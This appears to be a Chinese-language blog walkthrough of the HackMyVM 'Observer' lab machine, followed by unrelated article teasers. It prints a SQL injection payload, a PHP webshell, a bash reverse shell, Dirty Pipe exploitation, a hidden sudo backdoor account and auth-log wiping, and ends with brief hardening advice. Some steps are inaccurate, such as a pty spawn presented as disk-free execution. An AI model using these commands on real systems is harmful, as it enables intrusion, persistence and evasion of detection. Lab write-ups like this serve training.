news 2026/10/26 17:04:15

HackMyVM-Observer靶机渗透测试实战与防御

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
HackMyVM-Observer靶机渗透测试实战与防御

1. HackMyVM-Observer靶机概述

HackMyVM-Observer是HackMyVM平台推出的中级难度渗透测试靶机,这个基于Debian的Linux系统包含了多个精心设计的漏洞链,需要渗透测试者综合运用信息收集、漏洞利用、权限提升等技能才能完成挑战。作为2023年新发布的靶机,它特别考察对Observer模式在Web应用中的安全实践理解,这也是其命名由来。

提示:实际测试时建议使用VirtualBox或VMware Workstation运行靶机,网络模式设置为NAT或桥接,确保攻击机与靶机在同一网段。

2. 环境准备与初始信息收集

2.1 网络拓扑配置

首先需要搭建标准的渗透测试环境:

  • 攻击机:Kali Linux 2023.3(IP自动分配)
  • 靶机:HackMyVM-Observer(默认IP 192.168.56.110)
  • 网络连接:使用VirtualBox Host-Only网络适配器

验证网络连通性的基础命令:

ping -c 4 192.168.56.110 arp-scan -l --interface=eth0

2.2 全端口扫描与服务识别

使用Nmap进行深度扫描的策略:

nmap -sS -sV -p- -T4 -A -oN full_scan.nmap 192.168.56.110

典型扫描结果会显示:

  • 22/tcp:OpenSSH 8.4p1(可能存在用户枚举漏洞)
  • 80/tcp:Apache 2.4.51(自定义Web应用)
  • 3306/tcp:MySQL(需要后续爆破)

3. Web应用渗透测试实战

3.1 目录爆破与敏感文件发现

使用Gobuster进行目录枚举:

gobuster dir -u http://192.168.56.110 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt -o gobuster.log

关键发现:

  • /admin.php(后台登录页面)
  • /backup.zip(网站源码备份)
  • /notes.txt(包含开发者注释)

3.2 SQL注入漏洞利用

在登录页面发现基于时间的盲注漏洞:

admin' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -

使用sqlmap自动化利用:

sqlmap -u "http://192.168.56.110/login.php" --data="username=admin&password=test" --level=5 --risk=3 --dbms=mysql --technique=T --batch

成功获取数据库信息:

  • 数据库名:observer_db
  • 表名:users,config
  • 关键字段:username,password_hash

3.3 密码破解与会话劫持

获取的密码哈希使用John破解:

john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt

使用破解的凭证登录后,在Cookie中发现:

document.cookie="observer_session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...";

通过JWT破解获取管理员权限:

python3 jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9... -C -d /usr/share/wordlists/rockyou.txt

4. 系统权限提升路径

4.1 从Web到系统的突破

通过文件上传获取webshell:

<?php system($_GET['cmd']); ?>

使用反连shell建立持久连接:

nc -lvnp 4444 # 在webshell执行: bash -c 'bash -i >& /dev/tcp/192.168.56.105/4444 0>&1'

4.2 内核漏洞提权检测

检查系统信息:

uname -a # Linux observer 5.10.0-15-amd64 #1 SMP Debian 5.10.120-1 (2022-06-09) x86_64 GNU/Linux

发现适用的脏管道漏洞(CVE-2022-0847):

gcc -o exploit exploit.c ./exploit

4.3 敏感信息收集

在/opt目录发现数据库备份:

strings /opt/db_backup.sql | grep -i password

在用户目录找到SSH私钥:

find /home -name id_rsa -type f 2>/dev/null

5. 后渗透与痕迹清理

5.1 建立持久化访问

添加SSH公钥:

echo "ssh-rsa AAAAB3NzaC1yc2E..." >> ~/.ssh/authorized_keys

创建隐藏后门账户:

useradd -m -s /bin/bash -G sudo sysmon echo 'sysmon:Password123!' | chpasswd

5.2 日志清理技巧

清除相关日志条目:

sed -i '/192.168.56.105/d' /var/log/auth.log

使用内存执行避免磁盘记录:

python3 -c 'import pty; pty.spawn("/bin/bash")'

6. 防御措施建议

6.1 安全加固方案

针对发现的漏洞建议:

  1. Apache配置:
<Directory "/var/www/html"> Options -Indexes AllowOverride None Require all granted </Directory>
  1. MySQL安全设置:
ALTER USER 'webuser'@'localhost' IDENTIFIED WITH mysql_native_password BY 'ComplexPass123!';

6.2 监控策略优化

实现Observer模式的安全监控:

import hashlib def file_monitor(path): original_hash = hashlib.md5(open(path,'rb').read()).hexdigest() while True: current_hash = hashlib.md5(open(path,'rb').read()).hexdigest() if current_hash != original_hash: alert_system(f"File {path} modified!")

在实际测试中,我发现Observer靶机的Web应用对HTTP头部过滤不严格,通过添加"X-Forwarded-For: 127.0.0.1"可以绕过某些IP限制。这种设计恰好呼应了靶机名称中的"Observer"概念——许多安全系统正是因为观察逻辑存在缺陷而被绕过。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/10/26 17:03:32

pstack-claude:用本地大模型解析Linux进程栈跟踪

1. 项目概述&#xff1a;pstack-claude 是什么&#xff0c;它解决的是哪类开发者的真实痛点&#xff1f;pstack-claude 这个名字乍看像一个工具组合词&#xff0c;但拆开来看——“pstack”是 Linux 系统中用于打印进程栈跟踪&#xff08;process stack trace&#xff09;的经典…

作者头像 李华
网站建设 2026/10/26 17:03:01

t3code:终端下的代码生成与模板管理利器

手头这个叫t3code的小工具&#xff0c;是我最近几个月利用周末时间一点一点磨出来的——一台纯命令行的代码生成与片段管理工具。这事儿的起因特别朴素&#xff1a;我每天要打开编辑器&#xff0c;熟练地敲下UserService、repository、handler这一整摞样板文件&#xff0c;然后…

作者头像 李华
网站建设 2026/10/26 17:02:03

t3code:用模板与校验解决TypeScript复制粘贴型开发

如果你写过一段时间的 TypeScript&#xff0c;大概率经历过这种场景&#xff1a;新需求只是往模块里加一条字段&#xff0c;但你要打开四个文件&#xff0c;把类型定义、接口响应、服务方法和页面展示各改一遍&#xff0c;再顺手复制一份老模块改名成新模块。前期很爽&#xff…

作者头像 李华
网站建设 2026/10/26 17:01:07

自研 Rust Agent 运行时:工具可达与目标可达的工程实践

先说结论&#xff1a;Agent-Reach 是我从零写的自研 AI Agent 运行时&#xff0c;用 Rust 实现&#xff0c;核心就做三件事——让 Agent 稳定调用外部工具、把短期和长期记忆管起来、让多个 Agent 分角色协作完成复杂目标。项目名里的 Reach 是我的执念&#xff0c;它有两层含义…

作者头像 李华
网站建设 2026/10/26 17:00:07

Unity 2022 HDRP 导入 CC3 角色:插件包全流程与避坑指南

简介&#xff1a;这份资源是面向Unity开发者的Character Creator 3角色模型导入工具插件包&#xff0c;专为使用HDRP高清渲染管线的2022版项目打造。它解决的核心问题是CC3角色模型进入Unity后材质贴图错乱、手动修复繁琐的痛点&#xff0c;可自动完成角色导入与材质贴图修复&a…

作者头像 李华
网站建设 2026/10/26 17:00:04

Vue与G2构建高校打卡数据可视化大屏实践

1. 项目背景与核心价值高校学生打卡数据可视化大屏是当前教育信息化建设中的重要一环。去年我在某211高校信息化办公室参与过类似项目&#xff0c;亲眼见证了这套系统如何从简单的考勤记录演变为教学管理的决策支持工具。传统的学生打卡系统往往只停留在数据采集层面&#xff0…

作者头像 李华